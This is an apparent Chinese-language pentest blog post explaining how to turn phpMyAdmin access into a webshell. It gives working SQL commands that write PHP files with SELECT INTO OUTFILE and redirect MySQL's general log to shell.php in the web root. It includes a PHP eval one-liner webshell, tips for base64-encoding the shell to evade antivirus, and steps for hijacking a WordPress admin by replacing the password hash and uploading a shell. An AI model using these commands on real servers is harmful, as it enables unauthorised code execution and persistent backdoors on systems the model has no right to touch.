【Tech】[PenTest] phpMyAdmin的getshell方法

First Post:

Last Update:

Word Count:
632

Read Time:
2 min

前言

在滲透測試中有時可以運氣行好直接登入到phpMyAdmin,
下一步我們可以透過getshell進行更深入的滲透,例如像域滲透這種。

環境

  • Windows 11
  • Apache + php8.2
  • phpMyAdmin

前提

需要以下條件

  • phpMyAdmin最好是root帳號
  • 知道Absolute Path (本文使用 D:/xampp/htdocs)

實戰

Geshell方法

phpMyAdmin getshell一般有兩種方法 :

  • SQL getshell
  • 後端 getshell

第一種是使用SQL把webshell寫到伺服器上,
第二種是改後端密碼上傳webshell。

SQL getshell

常用方法 - 使用 select into outfile

這應該是最常用的方法了,在知道路徑的情況下可以用這招

1
2
select load_file('D:/xampp/htdocs');
select '<?php phpinfo();?>' into outfile 'D:/xampp/htdocs';

這是最簡單的方法,也是很容易失敗的方法,大部份網頁admin都不是傻的,他們會有設定檔案權限,
此時執行
1
SHOW VARIABLES LIKE "secure_file_priv";

Value一般會有兩種結果

  • Folder路徑 : 代表只有該路徑才可以修改
  • NULL : 禁止修改

Log寫shell

MySQL 5.0以上會自動寫Logs,把執行過的SQL指令都寫進一個.log檔,
那如果此時的檔案不是.log而是.php呢?

執行以下指令

1
SHOW VARIABLES LIKE 'general%';

1
2
set global general_log = "ON";
set global general_log_file="D:/xampp/htdocs/shell.php";

就會在D:/xampp/htdocs 生成一個shell.php
然後再

1
select '<?php @eval($_POST['pass']); ?>'

就可以getshell了

技巧

最簡單的php一句話木馬

1
<?php @eval($_POST['pass']); ?>

也是最容易被防毒查出來的,如果webshell的code寫得比較多可以把webshell base64加密,
再使用php的 base64_decode(); 函數解密。

注意

Log寫webshell的方法動作會很大的,會很容易被發現。
另外記得要把一開始的.log檔案記下,不然你會無法還原。

後端GetShell

後端登入

以wordpress為列子,phpMyAdmin+wordpress是比較容易getshell的,
因為wordpress是基於php的,而後端一般都會有檔案修改和上傳等功能。
Wordpress登入後端目前還算是很容易的,兩種做法 :

  • 破解密碼Hash
  • 在無法破解的情況下直接改密碼

WordPress加密後的密碼很上去很亂,但要改也不難,假設你的新密碼是admin,那就把admin以MD5加密,把MD5 Hash換進去就可以了。

GetShell方法

一般三種方法

  • 模版上傳
  • Plugin上傳
  • 直接插入一句話木馬

這種用第三種會比較好,因為前兩種都比較容閉被發現。